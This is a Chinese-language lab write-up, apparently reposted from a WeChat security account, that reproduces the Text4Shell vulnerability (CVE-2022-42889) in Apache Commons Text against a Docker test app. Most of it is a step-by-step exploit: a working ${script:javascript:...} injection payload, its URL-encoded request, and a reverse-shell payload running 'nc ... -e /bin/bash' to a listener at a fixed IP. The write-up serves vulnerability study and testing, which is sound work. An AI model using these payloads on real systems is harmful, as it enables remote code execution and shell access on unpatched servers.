“Text4shell”
背景
本文展示了如何利用 Text4Shell 漏洞 (CVE-2022–42889)。为此,我将在本文中使用text4shell-poc.jar。
GitHub地址: https://github.com/karthikuj/cve-2022-42889-text4shell-docker
声明信息
本文仅用于展示用途, 适用于好奇并想了解此漏洞的人士, 本文所有内容不可用于非法用途, 如使用者利用本文违反了相关法律, 与本文作者无关.
概要
Text4shell 漏洞于 2022 年 10 月 13 日向 Apache 披露。Text4Shell 是一个影响使用 Apache Commons Text Library 某些功能的 Java 产品的漏洞,它可能允许远程攻击者在服务器上执行任意代码。
影响范围
1.5 <= Apache Commons Text <= 1.9
环境搭建
前提需求:
-
JDK版本11.0以上 -
Docker -
Maven
安装过程
安装jdk11
sudo apt update && sudo apt install openjdk-11-jdk
安装docker
sudo apt install docker.io containerd runc
新建文件夹安装mvn
wget https://mirrors.estointernet.in/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
从github拉取PoC
git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker.git
进入PoC文件夹后使用mvn clean install(请注意如果嫌麻烦可以设置环境变量)
../apache-maven-3.6.3/bin/mvn clean install
当返回BUILD SUCCESS时, 代表可以进行下一步
docker拉取镜像
sudo docker build --tag=text4shell .
启动docker测试app
sudo docker run -p 80:8080 text4shell
注入payload
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
直接复制会导致报错, 建议转换成URL编码
http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D
获取容器id
sudo docker container ls
进入容器查看我们刚刚新建的文件foo
sudo docker exec -it <CONTAINER_ID> bash
持久化(反弹shell)
使用nc监听
nc -lvnp 4444
生成payload
http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nc%20192.168.146.50%204444%20-e%20%2Fbin%2Fbash%27%29%7D
url编码生成参考https://www.urlencoder.org/
重要提醒:生成的编码包含:“.exec%27”。这是不正确的,它必须是“.exec%28%27”。由于 Medium.com 输入验证,无法使用“.exec%28%27”。我们必须手动添加缺少的“%28”..
接受到shell
完
结语
-
感谢各位师傅看到这里, 创作不易 -
如果您想联系我, 可以直接添加我的微信号ID: wengchensmile, 来技术交流. -
我们下期再见!
原文始发于微信公众号(Aaron与安全的那些事):Text4shell| CVE-2022-42889漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论